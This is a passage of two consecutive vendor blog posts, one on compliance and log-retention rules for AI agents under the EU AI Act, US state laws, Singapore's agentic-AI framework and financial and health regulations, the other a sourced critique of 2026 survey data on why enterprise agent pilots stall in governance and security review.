serious-incident reporting. All of them sit inside the high-risk regime and move with it, on that reading. Confirm against the Official Journal text before you rely on any specific article's date. > **The deferral doesn't mean relax.** The AI Act stopped being the binding constraint on your agent logging design. Sectoral retention rules are the binding constraint now, because they already apply, today, with no transition period and considerably longer clocks. The Act concedes the point itself: Articles 19(2) and 26(6) both provide that providers and deployers who are financial institutions subject to Union financial-services governance requirements shall maintain these logs as part of the documentation kept under that financial-services law. ## The US Patchwork {#us-patchwork} The US has no federal AI statute, so the operative law is state law, and 2026 was a year of churn rather than consolidation. **Texas** brought TRAIGA into effect on 2026-01-01, with the NIST-referencing liability shield noted above. **California**'s SB 53, the Transparency in Frontier Artificial Intelligence Act, took effect 2026-01-01, though its incident-reporting mechanism and the Attorney General's annual report are keyed to 2027-01-01; AB 2013's training-data disclosure duty attached "on or before January 1, 2026." Separately, the California Privacy Protection Agency's automated decision-making technology regulations took effect 2026-01-01, with significant-decision compliance required by **2027-01-01** under § 7200(b) and the first risk-assessment submissions and cybersecurity audit reports due 2028-04-01. **Colorado**, which passed the first comprehensive state AI act, delayed it and then replaced it before it ever applied: SB 24-205's applicability was pushed to 2026-06-30 by SB25B-004 in August 2025, and SB26-189 then repealed and reenacted the provisions as a narrower automated-decision-making-technology law, signed 2026-05-14 and effective 2027-01-01, with Attorney General rulemaking due by the same date. Illinois, Utah and New York have their own instruments, several of them amended during 2026. For an engineering team the detail that matters is the trigger. These statutes generally attach to the residence of the affected individual and to whether the system materially influences a consequential decision about them: employment, credit, housing, insurance, healthcare, education. That is not a product boundary and it is not a tenant boundary. A single agent serving a single application can be simultaneously in scope in Texas and out of scope in a neighbouring state, and the only way to know is to have recorded, per action, who the affected individual was. That's a schema change, not a legal opinion, and it's engineering's to make. ## Singapore Names It {#singapore} On 2026-01-22 Singapore's Infocomm Media Development Authority launched the **Model AI Governance Framework for Agentic AI**, which is, as far as we can establish, the first governance document from a national authority written specifically about systems that act autonomously rather than about models that produce outputs. NIST has agent-specific material, but it is security and red-teaming guidance rather than governance. The IMDA framework is guidance rather than regulation, and IMDA is explicit that "as deployers, organisations and humans remain accountable for the decisions and actions of agents." It was revised to version 1.5 on 2026-05-20 after industry feedback, with a further update on 2026-06-05. It's organized around four dimensions, and the guidance under each one is more concrete than anything above it: - **Assess and bound risks upfront**, with mitigations including restricting the agent's tool access, running it in a sandboxed environment, and establishing fine-grained identity controls. - **Make humans meaningfully accountable**, with defined roles from product teams to executive oversight, human-in-the-loop gates for high-stakes actions, and explicit attention to automation bias in the supervising human. - **Implement technical controls and processes**, with testing extended beyond output accuracy to cover tool usage, policy compliance and workflow reliability, and with graduated rollouts and continuous anomaly monitoring after deployment. - **Enable end-user responsibility**, meaning users are trained on and told what the agent is permitted to do. The May 2026 update added the parts that only appear once you have operated these systems: risks arising from **multi-agent** configurations and from third-party agents; a distinction between platform providers and system developers for accountability purposes; guidance on choosing between structural, rule-based controls and model-based or prompt-layer controls at each stage of the lifecycle; change management to stop small modifications cascading; and, in the single most telling recommendation in any of these documents, **monitoring human override rates and response times**. The framework's own reasoning is worth quoting directly: a low override rate "may signal rubber-stamping behaviours," and a shorter human response time "may signal automation bias or review fatigue." That last one is what a regulator writes when it has understood the actual failure mode. An approval gate where the human approves 99.4% of requests in under two seconds doesn't amount to oversight, only to a log entry claiming oversight took place. ## Built for Answers, Not Actions {#mismatch} The central practical problem with the stack is that its assumptions predate the systems it now governs. Three obligations show the mismatch clearly. **Human oversight.** Article 26(2) of the AI Act requires deployers to "assign human oversight to natural persons who have the necessary competence, training and authority, as well as the necessary support." Written for a system that produces an output (a credit score, a triage recommendation), this is coherent: a named, competent person reviews the output before it is used. Now apply it to a reconciliation agent taking four thousand actions a shift. Assigning a natural person to oversee it is either meaningless, if the person cannot possibly review the actions, or it destroys the automation, if they can. The reinterpretation that actually satisfies the intent is oversight of the *authorization envelope* rather than of individual actions: a human decides and periodically reviews what classes of action the agent may take, which thresholds escalate, and what the override statistics look like. Singapore's override-rate metric is the closest thing to an official acknowledgement of this reframing, and it's also the one item on this list that is unambiguously engineering's problem, not legal's: nobody ships an override dashboard by writing a policy memo. **Logging.** Article 12 requires high-risk systems to "technically allow for the automatic recording of events (logs) over the lifetime of the system" (a capability obligation, not a recording one), and Articles 19 and 26(6) require the resulting logs to be retained. For a model, the natural log record is an inference: inputs, output, model version, timestamp. For an agent, that record is close to worthless. The consequential unit is the *action*: which tool was called, against which system, with what parameters, under whose authority, with what result, and whether it was permitted or denied. An inference log tells a supervisory authority that the model said something. An action log tells them what happened to a customer's account. Nothing in the frameworks says "log *actions*." ISO/IEC 42001's A.6.2.8 asks for AI system event logs, which for an agent isn't the same thing. When these instruments were drafted, there were no actions yet to log. **Risk management and incident reporting.** Article 9 assumes risk can be characterized for a system with a defined intended purpose. An agent's risk profile is a function of its tool set, and its tool set changes when someone adds an MCP server. Article 73's serious-incident reporting assumes an incident is discrete and identifiable. An agent that has been quietly making a subtly wrong classification for six weeks across ten thousand records is not shaped like an incident, and the AI Act's reporting clock starts from awareness. Cataloguing an agent's risk therefore has to be tied to change control on its capabilities rather than done once at approval, which is exactly the "change management" point in Singapore's May update. That tie-in is a CI hook, not a filing cabinet. ## Retention and Evidence, Side by Side {#retention} Regimes below are listed with the artifact each demands, the retention clock, and what it means for designing an agent audit log. | Regime | Artifact required | Retention | Agent-log consequence | |---|---|---|---| | **EU AI Act Art. 19** (providers) | Automatically generated logs of the high-risk system under the provider's control | "A period appropriate to the intended purpose… of **at least six months**, unless provided otherwise in the applicable Union or national law" | Six months is a floor, not a target, and the article defers to other law, which usually wins | | **EU AI Act Art. 26(6)** (deployers) | Logs automatically generated by the high-risk system, where the deployer controls them | Same: appropriate to purpose, **at least six months**, subject to other law | Deployers, not just vendors, must retain; if your agent platform does not export, you cannot comply | | **EU AI Act Art. 26(2), (5)** | Assigned human overseers; monitoring of operation per instructions for use | n/a (ongoing) | Requires a record of *who* was assigned, and evidence oversight occurred | | **MiFIR Art. 25(1); MiFID II Art. 16(6)–(7); Del. Reg. 2017/565 Art. 72** | Records of all services, activities and transactions sufficient for supervision and enforcement; order and transaction data | **5 years** for order and transaction data (MiFIR Art. 25(1)). The familiar "5 extendable to 7" rule is narrower than usually reported: MiFID II Art. 16(7) applies it to recorded telephone and electronic communications only. Art. 16(6) itself sets no period | An agent touching investment services inherits a 5-year clock on its action records, and 7-year exposure on anything that counts as a client communication | | **SEC Rule 17a-4** | Broker-dealer blotters and ledgers under (a); communications and other records under (b) | **6 years** under 17a-4(a), **3 years** under 17a-4(b), in each case with the first two years in an easily accessible place | "Easily accessible" is a storage-tier requirement, not just a retention one, and it attaches to both buckets | | **FINRA Rule 4511(b)** | Books and records with no period specified elsewhere | **6 years** default | Catch-all: an agent action record with no other home lands here | | **HIPAA 45 CFR 164.316(b)** | Documentation the Security Rule requires to be documented, including records of the actions, activities and assessments it mandates | **6 years** from the date of creation or the date it last was in effect, whichever is later | Read the scope carefully. 164.316(b) covers *required documentation*; audit controls under 164.312(b) carry no statutory period at all, so HIPAA does not itself put system audit logs on a six-year clock. The documentation clock, state law and litigation-hold exposure are why healthcare agent logs are rarely safe at six months | | **ISO/IEC 42001** | Documented information for the AIMS; AI system impact assessment (6.1.4, 8.4) | No fixed statutory period; must survive the audit cycle (typically three-year certification with annual surveillance) | Evidence must be retrievable and demonstrably maintained, not merely retained | | **NIST AI RMF** | Measurement and governance records supporting the four functions | No retention mandate | Sets no floor; useful because state law increasingly points at it | | **Singapore MGF** | Logging and monitoring, access controls, human approvals, override metrics | Not prescribed (voluntary) | Names the fields nobody else does: override rate, response time | The payoff is a single engineering rule. Retention is not per-regime. It is per-log-store. If one agent in a shared platform touches investment services and another touches protected health information, the store that holds their action logs inherits a five-year clock from one and a six-year documentation clock from the other. If you cannot separate them cleanly, design for the longest clock that touches the store. Designing to the AI Act's six-month floor and discovering later that a healthcare use case has been running on the same platform is an expensive, retroactively unfixable mistake, because you cannot manufacture logs you deleted. Confirm the specific period with counsel before you set a deletion policy. The point here is only that six months is the wrong starting assumption. ```mermaid flowchart LR R1["Art. 26(2)<br/>human oversight assigned"] --> F1["approver_id · approval_ts · escalation_rule"] R2["Art. 12 / 19 / 26(6)<br/>automatic logs, 6 mo floor"] --> F2["action · tool · target_system · params_hash · outcome"] R3["MiFIR Art. 25(1)<br/>order and transaction data"] --> F3["transaction_ref · instrument · counterparty · 5y tier"] R4["HIPAA 164.316<br/>documented actions"] --> F4["patient_ref · purpose_of_use · 6y tier"] R5["State ADMT law<br/>consequential decision"] --> F5["affected_individual_state · decision_type"] R6["Singapore MGF<br/>meaningful oversight"] --> F6["override_flag · human_latency_ms"] F1 --> LOG["One action record<br/>agent_id + user_id + timestamp"] F2 --> LOG F3 --> LOG F4 --> LOG F5 --> LOG F6 --> LOG ``` **Figure 2 — Compliance-evidence map. Each regulatory requirement resolves to specific fields on a single action record; the overlap is why this work is done once.** ## What to Produce Now {#artifacts} Because the requirements converge, the artifact list turns out to be short and largely regime-independent. What follows covers most of what any of these frameworks will ask for, and building it is squarely engineering's job, not legal's; classifying and retaining it is the other way around. **An inventory with regulatory classification per agent.** Not a list of agents, but agents annotated with which regimes each one is in scope for, and why. Which are deployers of Annex III systems. Which touch investment services, protected health information, or consequential decisions about residents of a state with an ADMT statute. This is where every audit starts, and almost nobody has it done. **Action-level logs tied to two identities, not one.** One record per consequential action, carrying the agent's identity and the human's identity on whose authority it acted, the tool, the target system, the parameters, the outcome, and whether the action was permitted or denied. Denied actions matter as much as permitted ones. They're the evidence that a control existed and functioned. **Documented human-oversight design.** Written down: which action classes require human approval, who the assigned overseers are, what escalation looks like, and what the override rate and response time actually are. The measurements are what turns a policy document into evidence. **A risk classification per agent, tied to change control.** The classification is a function of the agent's tool set, so it has to be re-evaluated when the tool set changes. An agent whose risk assessment predates its last three tool additions doesn't really have a risk assessment. **Change records.** What changed, when, who approved it, and what the evaluation results were before and after. This satisfies ISO/IEC 42001's management-system expectations, the AI Act's quality-management and post-market-monitoring logic, and the "prevent small modifications from cascading" recommendation in Singapore's framework, all at once. Of these five, the first two are pure engineering: nobody but the platform team can wire up per-agent classification tags or a two-identity log schema. The last two are shared, because engineering produces the evaluation results and the tool-set diff that legal then classifies. Only the oversight design genuinely splits down the middle. Legal decides who's accountable and what escalates. Engineering builds the dashboard that proves it happened. At Agentic Fabriq the parts of this we build directly are the identity and evidence layers: two identities carried on every request so an action record can name both the agent and the user it acted for, action-level permissions enforced in the backend rather than described in a prompt, and audit logging backed by BigQuery and GCS with dashboard filters and NDJSON export through the API. Retention policy and regulatory classification remain yours to set, but the log field an auditor asks for is easier to produce when it was recorded at the enforcement point. ## Conclusion {#conclusion} Nothing here is converging into a single standard, and planning as if it will is the mistake most teams are currently making. What keeps converging, regime after regime, is the evidence. Every one in the table above, whether it's binding law or just guidance, ultimately asks some version of the same three questions: what did this system do, on whose authority, and how would you prove it. An action-level log carrying agent identity and user identity, retained to the longest clock that touches it, answers all three. The EU's high-risk deadline moved to 2027-12-02 for standalone Annex III systems and 2028-08-02 for embedded ones, so the AI Act is very likely not your binding constraint. Sectoral retention law already is, and has been for years. Singapore's is the only framework we've been able to find from a national authority written about systems that act rather than models that answer, which is why its recommendations read as operational advice while the others read more like translation exercises. > **The single rule to take away:** assume your agent audit retention policy is set by the strictest regime touching any agent in the store, not by the framework you happen to be preparing for. Work out which regime that is, with counsel, before you choose a retention period, because deleted logs cannot be recovered and unrecorded fields cannot be reconstructed. ## Sources {#sources} - [Regulation (EU) 2026/1744 of 8 July 2026 (Digital Omnibus on AI), OJ L, 2026/1744, 24.7.2026 — EUR-Lex](https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32026R1744) - [Article 12: Record-Keeping — EU Artificial Intelligence Act](https://artificialintelligenceact.eu/article/12/) - [Article 19: Automatically Generated Logs — EU Artificial Intelligence Act](https://artificialintelligenceact.eu/article/19/) - [Article 26: Obligations of Deployers of High-Risk AI Systems — EU Artificial Intelligence Act](https://artificialintelligenceact.eu/article/26/) - [Article 16: Obligations of Providers of High-Risk AI Systems — EU Artificial Intelligence Act](https://artificialintelligenceact.eu/article/16/) - [EU AI Act Omnibus Agreement — Postponed High-Risk Deadlines and Other Key Changes — Gibson Dunn, 2026-05-27](https://www.gibsondunn.com/eu-ai-act-omnibus-agreement-postponed-high-risk-deadlines-and-other-key-changes/) - [EU AI Act unpacked #34: The final Digital Omnibus on AI — Freshfields](https://www.freshfields.com/en/our-thinking/blogs/technology-quotient/eu-ai-act-unpacked-34-the-final-digital-omnibus-on-ai-key-amendments-to-the-a-102nber) - [Digital Omnibus on AI — European Parliament Legislative Train Schedule](https://www.europarl.europa.eu/legislative-train/package-digital-package/file-digital-omnibus-on-ai) - [Digital Omnibus on AI — EPRS Briefing, European Parliament Think Tank](https://www.europarl.europa.eu/thinktank/en/document/EPRS_BRI(2026)782651) - [Digital Omnibus on AI: Parliament Votes, Deadlines Redrawn — Dastra](https://www.dastra.eu/en/blog/digital-omnibus-on-ai-parliament-votes-deadlines-redrawn/60108) - [Singapore Launches New Model AI Governance Framework for Agentic AI — IMDA, 2026-01-22](https://www.imda.gov.sg/resources/press-releases-factsheets-and-speeches/press-releases/2026/new-model-ai-governance-framework-for-agentic-ai) - [Model AI Governance Framework for Agentic AI, v1.5 (published 2026-05-20, updated 2026-06-05) — IMDA (PDF)](https://www.imda.gov.sg/-/media/imda/files/about/emerging-tech-and-research/artificial-intelligence/mgf-for-agentic-ai.pdf) - [Singapore Introduces New Model AI Governance Framework for Agentic AI — Bird & Bird](https://www.twobirds.com/en/insights/2026/singapore/singapore-introduces-new-model-ai-governance-framework-for-agentic-ai) - [Singapore: IMDA updates Model AI Governance Framework for Agentic AI — Baker McKenzie, June 2026](https://www.bakermckenzie.com/en/insight/publications/2026/06/singapore-imda-updates-model-ai-governance-framework-for-agentic-ai) - [Governing AI That Acts: Singapore's New Framework for Agentic AI — AI Asia Pacific Institute](https://aiasiapacific.org/2026/01/27/governing-ai-that-acts-singapores-new-framework-for-agentic-ai/) - [AI Risk Management Framework — NIST](https://www.nist.gov/itl/ai-risk-management-framework) - [NIST AI Agent Security: Red-Teaming Guidance and Enterprise Compliance — Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-nist-ai-agent-red-teaming-standards-202603/) - [ISO/IEC 42001 — Artificial intelligence management system](https://www.iso.org/standard/42001) - [What Are ISO 42001 Requirements? — Schellman](https://www.schellman.com/blog/iso-certifications/what-are-iso-42001-requirements) - [Texas HB 149 (TRAIGA) — enrolled text, Sec. 552.105 presumption and liability shield](https://capitol.texas.gov/tlodocs/89R/billtext/html/HB00149F.HTM) - [CCPA updates: approved regulations text on ADMT, risk assessments and cybersecurity audits (§ 7200(b)) — California Privacy Protection Agency](https://privacy.ca.gov/regulations/pdf/ccpa_updates_cyber_risk_admt_appr_text.pdf) - [Colorado SB26-189: Automated Decision-Making Technology (signed 2026-05-14, effective 2027-01-01) — Colorado General Assembly](https://leg.colorado.gov/bills/sb26-189) - [State AI Laws — Where Are They Now? — Cooley, 2026-04-24](https://www.cooley.com/news/insight/2026/2026-04-24-state-ai-laws-where-are-they-now) - [AI Legislation: 2026 Legislative Wrap-Up — Epstein Becker Green](https://www.ebglaw.com/insights/publications/ai-legislation-2026-legislative-wrap-up) - [FINRA Rule 4511: General Requirements (4511(b), six-year default) — FINRA](https://www.finra.org/rules-guidance/rulebooks/finra-rules/4511) - [17 CFR 240.17a-4 — Records to be preserved by certain exchange members, brokers and dealers](https://www.law.cornell.edu/cfr/text/17/240.17a-4) - [Regulation (EU) No 600/2014 (MiFIR), Art. 25 — five-year order and transaction records — EUR-Lex](https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32014R0600) - [Directive 2014/65/EU (MiFID II), Art. 16(6)–(7) — EUR-Lex](https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32014L0065) - [45 CFR 164.316 — Policies and procedures and documentation requirements](https://www.law.cornell.edu/cfr/text/45/164.316) ================================================================================ ## The Agent Deployment Gap: What the 2026 Data Says About Why Pilots Die URL: https://www.agenticfabriq.com/blog/agent-deployment-gap Published: 2026-09-30 Author: Paulina Xu Summary: Nearly every enterprise has agents somewhere; very few have them in production. A careful, attributed reading of the 2026 survey data — and the failure causes that actually recur. ```tldr **Enterprise agents mostly don't fail to reach production because the model isn't good enough.** They stall because nobody can answer the governance question the agent's usefulness actually depends on: what is this agent allowed to touch, and how would we prove what it did. The survey data on this is noisier than most of what gets quoted from it. Several of the most-repeated numbers about pilot failure rates and average ROI don't trace back to a report anyone can actually locate, and one widely cited figure turns out to be measuring something other than what it's cited for. We think that's worth saying plainly, not repeating with a footnote. What does hold up, because it comes from surveys that publish their methodology: experimentation with agents is close to universal, and the governance work behind it, access scoping, monitoring, named accountability, is mostly not done. Gravitee finds barely one organization in five has agents fully governed before going live. This isn't an argument that agents are hard to build. It's an argument that shipping one is mostly an authorization problem wearing an engineering costume, and that problem is solvable before you write the agent, not after. ``` ## Overview {#overview} The pilot that demoed well in March, entered security review in April, and is still sitting there in September shows up constantly in the 2026 survey data as the median case, not the exception. Okta's *AI Agents at Work 2026* survey found 92% of executives describing agents as in widespread or moderate use at their organization. Production tells a different story, and the instruments measuring it don't agree with each other. Google Cloud's 2026 survey of 3,466 senior leaders across 24 countries put deployment at 52%. Fivetran's own *Agentic AI Readiness Index* finds 41% of surveyed data professionals already running agentic AI in production, while only 15% at the same organizations call themselves fully prepared to support it there. Three instruments, three different numbers, and one of them contradicts itself. Two posts on this site cover what happens when agents behave badly: the compliance cost of uncontrolled agents, and the real cost of rogue actions. This post is about the opposite failure, agents that never behave badly because they never ship. The next section runs the primary sources down one by one: Gartner's actual wording against how it gets quoted, the webinar poll its investment breakdown is built on, and the root-cause split that gets cited for a question it was never measuring. What survives that process is smaller than the commentary built on top of it. > **The access question gets asked too late.** Security review is usually the first place anyone writes down > what the agent is allowed to touch, and by then it has already been built assuming access it doesn't have. ## The Numbers, With Names Attached {#the-numbers} Here's the 2026 data as it actually stands, sources attached, soft claims marked as soft. **Gartner** published the most-quoted forecast on 2025-06-25, and its exact wording is worth preserving: "Over 40% of agentic AI projects will be canceled by the end of 2027, due to escalating costs, unclear business value or inadequate risk controls." That's a disjunction, any one of the three suffices, and it usually gets flattened to an "and" in retelling, which changes the claim. The same release introduced **"agent washing"**, vendors rebranding assistants, RPA and chatbots as agentic, and estimated only around 130 of the thousands of self-described agentic AI vendors were building something genuinely agentic. Gartner's investment breakdown came from a January 2025 poll of 3,412 webinar attendees: 19% significant investment, 42% conservative, 8% none, 31% waiting or unsure. That's a webinar poll, not a sampled survey, and Gartner doesn't present it as one. A great deal of commentary built on top of that forecast cites a figure for how many pilots never reach production at all, plus a root-cause breakdown for the ones that ship and then disappoint. We went looking for the primary reports behind both. Neither is locatable. The pilot-failure number circulates in at least three different versions attributed to three different research houses, and the root-cause split gets quoted constantly with its actual denominator quietly dropped: it describes causes within a minority of *shipped* deployments reporting negative returns, not causes of pilots that never shipped, which is what it's almost always cited to support. We're not using either number here. Treat any version of it you run into elsewhere the same way. **Data quality** gets called the top adoption barrier constantly, and the one aggregation with a citable methodology behind it, Digital Applied's roundup of more than 120 enterprise data points, says something different: data quality and access sits fourth, at 49%, behind evaluation and observability at 64%, governance and compliance at 57%, and model reliability at 51%. The three barriers ranked above data quality are governance and measurement problems, not data problems, which matches the argument the rest of this post makes. A separate 52% figure for data quality circulates in most roundups with no attribution we could trace. We're leaving it out. **Fivetran's** own index (400 data professionals at organizations with 2,000-plus employees, published 2026-05-05) is the clearest instrument here, because it's internally consistent about being inconsistent: 41% already running agentic AI in production, 15% calling themselves fully prepared to support it there, and nearly 60% reporting investment in the millions to tens of millions. Ready and running are not the same claim. This is one survey admitting it. **Governance data** is where sourcing gets genuinely good, because these surveys publish enough methodology to check. Gravitee's *State of AI Agent Security 2026* (750 respondents, CIOs, CTOs, VPs of engineering, heads of platform, UK and US, April 2026) found only **19.7%** of organizations say all their agents are fully secured and governed before going live. Mean monitoring coverage across the sample was **52%**, meaning roughly half of production agents run unmonitored. Only **7.2%** had a named individual formally accountable for agent behavior, and 32.4% described accountability as unclear or situation-dependent. Okta's *AI Agents at Work 2026* (Apprize360, March 2026, 292 executives and 492 knowledge workers across seven countries) found only **34%** of organizations applying the same security controls to agents that they apply to human employees. For historical context, **MIT's Project NANDA** report *The GenAI Divide: State of AI in Business 2025* (July 2025) is worth reading directly rather than through its retellings, for reasons the next section gets into. Its evidence base is a review of 300-plus publicly disclosed AI initiatives, structured interviews with 52 organizations, and 153 leadership survey responses. ```statrow caption: Figure 1 — Governance readiness inside organizations already running agents, per Gravitee's 2026 survey. source: https://www.gravitee.io/state-of-ai-agent-security stat: 19.7% | organizations say all their agents are fully secured and governed before going live stat: 52% | mean monitoring coverage across surveyed organizations' production agents stat: 7.2% | organizations with a named individual formally accountable for agent behavior ``` ## Reading Them Skeptically {#skeptical-reading} Now the part most statistics roundups skip. **Ask who ran the survey and what they sell.** Fivetran sells data movement, and its readiness index finds companies aren't ready because their data isn't ready. Gravitee sells agent governance, and finds agents ungoverned. Okta sells identity, and finds agents lack identity controls. None of that makes the findings false, several of these are the best-instrumented data available and transparent about method, but a survey's question set is designed by someone with a hypothesis, and the hypothesis tends to resemble the product. **Ask what "in production" means.** No two of these surveys define it the same way, and most don't define it at all. Is an agent in production when it serves external customers? When it runs unattended? When it has a change-management process behind it? Fivetran's own contradiction above, 41% in production and 15% ready, is as much a definitional gap as an empirical one. The same ambiguity infects "pilot." A week-long proof of concept and a funded six-month program with a business sponsor both get counted, and lumping them together inflates the failure rate with experiments that were never meant to ship. **Watch where drift starts, because it's usually earlier than the citation chain.** MIT's Project NANDA report says, plainly, that 95% of *organizations* pursuing generative AI initiatives are getting zero measurable return. That's the actual finding. Forbes' widely shared coverage of the same report ran under the headline "MIT finds 95% of GenAI pilots fail." Those are different claims wearing the same number. One is about organizational return across a portfolio of initiatives; the other implies nineteen out of twenty individual pilots don't work, which the report never measured. The drift happened at the second link in the citation chain, not the twentieth, and once a wrong headline number is loose, everyone downstream inherits it without re-checking. **Be skeptical of self-reported return figures generally**, for a reason that has nothing to do with any specific number: they're reported by the people who sponsored the project, with no control group, no agreed baseline, and no outside auditor. A return figure computed only over deployments that shipped also excludes, by construction, everything that didn't, which is most of what happened. We'd trust a negative-outcome figure more than a positive one, because nobody has an incentive to report it generously. **Note what the good data is about.** The figures with published methodology and unambiguous definitions are overwhelmingly about governance: monitoring coverage, named accountability, whether agents carry an identity at all. Those are the numbers worth acting on, and they point one direction. ## Nobody Defined Done {#no-success-criteria} Take the cause we think matters most, on its own terms rather than a survey's word for it. "Unclear success criteria" sounds like a project-management complaint, which is why it gets skimmed. In agent work it's a technical failure with a specific mechanism. Consider a **contract-review agent** at a services firm, a hypothetical carried through the rest of this post. The stated goal is "reduce legal review time on inbound vendor contracts." The pilot looks like a success: legal counsel reads the agent's summary of a master services agreement and agrees it caught the indemnity cap and the auto-renewal clause. Everyone's pleased. Now try to write the acceptance test. On which corpus? Against what baseline, the median reviewer, or the reviewer at 5pm on a Friday? What's the tolerable false-negative rate on a missed liability cap, given that the cost of one miss isn't symmetric with the benefit of a hundred hits? None of these have answers, because the goal was a direction, not a specification. Without that specification, three things follow. There's nothing to evaluate against, so no regression suite exists. There's no threshold at which the agent is finished, so scope expands to fill available time. And when the reviewer asks how good it is, the honest answer is a demo. Demos don't clear review gates. The tell for this failure is a pilot whose success is described entirely in adjectives. ## The Access Problem {#access-problem} This is the most under-discussed cause, and it's the one that connects the survey data to the governance data. Insufficient access reads, on first pass, like a plumbing complaint: the connector wasn't built. It's almost never that simple. The contract-review agent works beautifully on the fifty PDFs someone dropped in a folder. To be useful it needs the contract repository, which means read access to a corpus that includes contracts the requesting user isn't cleared to see. It needs the CLM system to check which clauses were previously negotiated. To be genuinely useful, it needs to write a review note back. Every one of those is blocked not by engineering but by an unanswered governance question: - **Whose access is it using?** A service account with repository-wide read can surface a contract to a user who shouldn't see it. Borrowing the requesting user's access means the design has to carry two identities, the human's and the agent's, and enforce their intersection, which most agent frameworks simply don't do. - **What's the write blast radius?** Read access is a confidentiality question with a known shape. Write access to a system of record is a different conversation with a different approver, and it's usually the conversation that stalls. - **Who approves it, and against what standard?** The team asks for access. The data owner asks what controls exist. The team describes prompt instructions. The data owner declines, correctly. - **What happens when it's revoked?** If nobody can say which credentials the agent holds or how they'd be cut off, nobody grants them in the first place. ```mermaid sequenceDiagram participant U as Requesting user participant A as Contract-review agent participant G as Access gateway participant R as Contract repository U->>A: "summarize this vendor contract" A->>G: read request (user identity + agent identity) G->>G: authorize: user scopes intersect agent scopes G->>R: fetch, scoped to intersection R-->>G: contract text, only what both parties may see G-->>A: authorized result A-->>U: summary, with a record of what was read ``` **Figure 2 — Access as a two-identity problem. The agent's own permissions are necessary but not sufficient; the request also has to carry who asked, so the gateway can enforce the intersection rather than the agent's ceiling.** The pattern is consistent: teams grant broad permissions during a pilot because it's fast and the environment is contained, then discover at production time that they can't justify those permissions and can't narrow them without redesigning the agent. The pilot's convenience becomes the production blocker. That's why "insufficient access" and "governance friction" are the same finding measured twice. > **The load-bearing point:** access isn't a task you complete after the agent works. The agent's usefulness is > a function of its access, and its access is a function of a governance answer. Teams that defer the > governance answer are deferring the only thing that decides whether the agent can do the job at all. ## Demo Reliability {#reliability} Agents look fine in a demo and aren't fine at scale. The reason is arithmetic, not luck. The τ-bench work (arXiv:2406.12045) introduced **pass^k**: the fraction of scenarios an agent solves on *all* k independent attempts, not at least one. The widely cited illustration is GPT-4o on the retail domain, 61.2% pass^1, with pass^8 dropping below 25%. The task didn't get harder. The measurement got honest. Multi-step tasks compound the same way. If each step independently succeeds 95% of the time, a ten-step workflow completes about 60% of the time and a twenty-step workflow about 36%. The contract-review agent's demo was one document, one reviewer, one happy path. Production is four hundred documents a month, most of them not master services agreements, some scanned, several in French. The demo is a genuine result. One attempt, one path, read by a reviewer as evidence of reliability it never claimed to have. A good share of the deployment gap lives in that space between what the number is and how it gets read, and the only way to close it is to measure consistency across repeated, varied attempts before anyone sees a slide. ## Evaluation and Ownership {#evaluation-ownership} Two causes that look separate are the same organizational absence. **No evaluation means no ability to change anything safely.** Without an evaluation suite, nobody can tell whether last week's prompt change, model upgrade, or tool-description tweak made things worse. Agents are unusually sensitive to changes that look cosmetic: a reordered tool list, a reworded description, a provider's silent model update. A team without evals experiences this as mysterious intermittent regression and stops shipping. The agent doesn't get killed in a meeting. It decays. **Unclear ownership bites hardest exactly where the agent touches something regulated.** Gravitee's 7.2% is the most alarming figure we've cited, because ownership is the cheapest thing on this list to fix. When the contract-review agent needs to write into the CLM system, "who signs off that this is acceptable" has to resolve to a person. If it resolves to "the AI working group," it doesn't resolve, and the review stalls between a platform team that owns the runtime, an application team that owns the prompt, a data owner who owns the corpus, and a risk function that owns the consequence. None of them can approve the whole thing alone. ## The Last Mile {#last-mile} Which brings us to the failure mode nobody puts on a slide, because it isn't a decision: the working agent that stalls indefinitely in security review. The mechanics are mundane. The agent does the task. It enters review. The reviewer asks what reviewers ask: what can it access, what can it do, what's logged, who's accountable, how do we turn it off, what happens if it's prompt-injected. The team, having built the agent first and thought about governance second, answers some of these with design intent instead of controls. The reviewer doesn't reject the agent, rejecting things is career-limiting and possibly wrong. The reviewer asks for more information. The team gets reassigned to next quarter's priority. The agent is still in review a year later, and it shows up in no statistic as a failure. The security concerns are legitimate, which is what makes this hard. The Agent Red Teaming results (arXiv:2507.20526), 1.8 million prompt-injection attempts against 22 frontier agents across 44 scenarios, with more than 60,000 eliciting policy violations and nearly all agents violating policy for most behaviors within 10 to 100 queries, describe an attack surface a reviewer is right to worry about. The problem isn't that review is too strict. It's that the artifacts review needs were never produced. ```mermaid flowchart TD E["Experimentation<br/>near-universal"] --> P["Funded pilot"] P -->|"no acceptance test,<br/>because no spec"| X1["Abandoned<br/>(nothing to prove)"] P --> D["Working demo<br/>single-attempt happy path"] D -->|"no answer to<br/>whose access, what write"| X2["Stalled<br/>(governance answer missing)"] D --> R["Security and compliance review"] R -->|"no eval suite,<br/>no accountable owner"| X3["Indefinite hold<br/>(no artifacts to review)"] R --> Pr["Production<br/>share of pilots that<br/>reach it is not reliably measured"] ``` **Figure 3 — The attrition funnel, by mechanism rather than by measured weight. This is our reading of where each cause bites, not a percentage from a survey; no locatable instrument measures loss at each stage separately, and the last stage is missing from most datasets because "still in review" is never recorded as a failure.** ## What Shortens the Path {#what-shortens} The teams that ship do a small number of unglamorous things early. None of this is novel. The point is the sequencing. **Deploy narrowly first.** One document type, one team, one system, read-only. A narrow first deployment isn't a smaller pilot, it's a smaller *production system*, and it exercises the whole path: review, logging, ownership, rollback. Narrow scope also keeps the write blast radius and the access negotiation small enough that they don't become the thing that stalls the project. **Define the audit and permission story before the demo.** Write down, before building, which systems the agent will touch, whose authority it acts under, which actions are read and which are write, which require a human, and what a log line looks like. That document is the input to review. It takes a day, and it turns review from an interrogation into a check. **Treat access provisioning as part of the build.** Put credential design, scope negotiation with data owners, and the revocation path on the plan, with dates and owners. If access will take six weeks to negotiate, that's a six-week task, not a surprise. **Make evaluation a precondition, not a phase.** Build the eval set from the corpus you'll actually run against, including the scanned French contracts, before the agent works, and measure consistency across repeated attempts rather than best-of-n. **Name one accountable person.** Not a committee, not "the platform team." One name, before the first line of code. At Agentic Fabriq the access half of this is what we build for: default-deny scopes across organization, team and member, an effective tool list computed as the intersection of the user's scopes and the agent's, action-level permissions enforced in the backend rather than described in a prompt, and both identities carried on every request so audit logs answer the reviewer's question directly. That's narrowly the answer teams lack when a data owner asks what controls exist. ## Conclusion 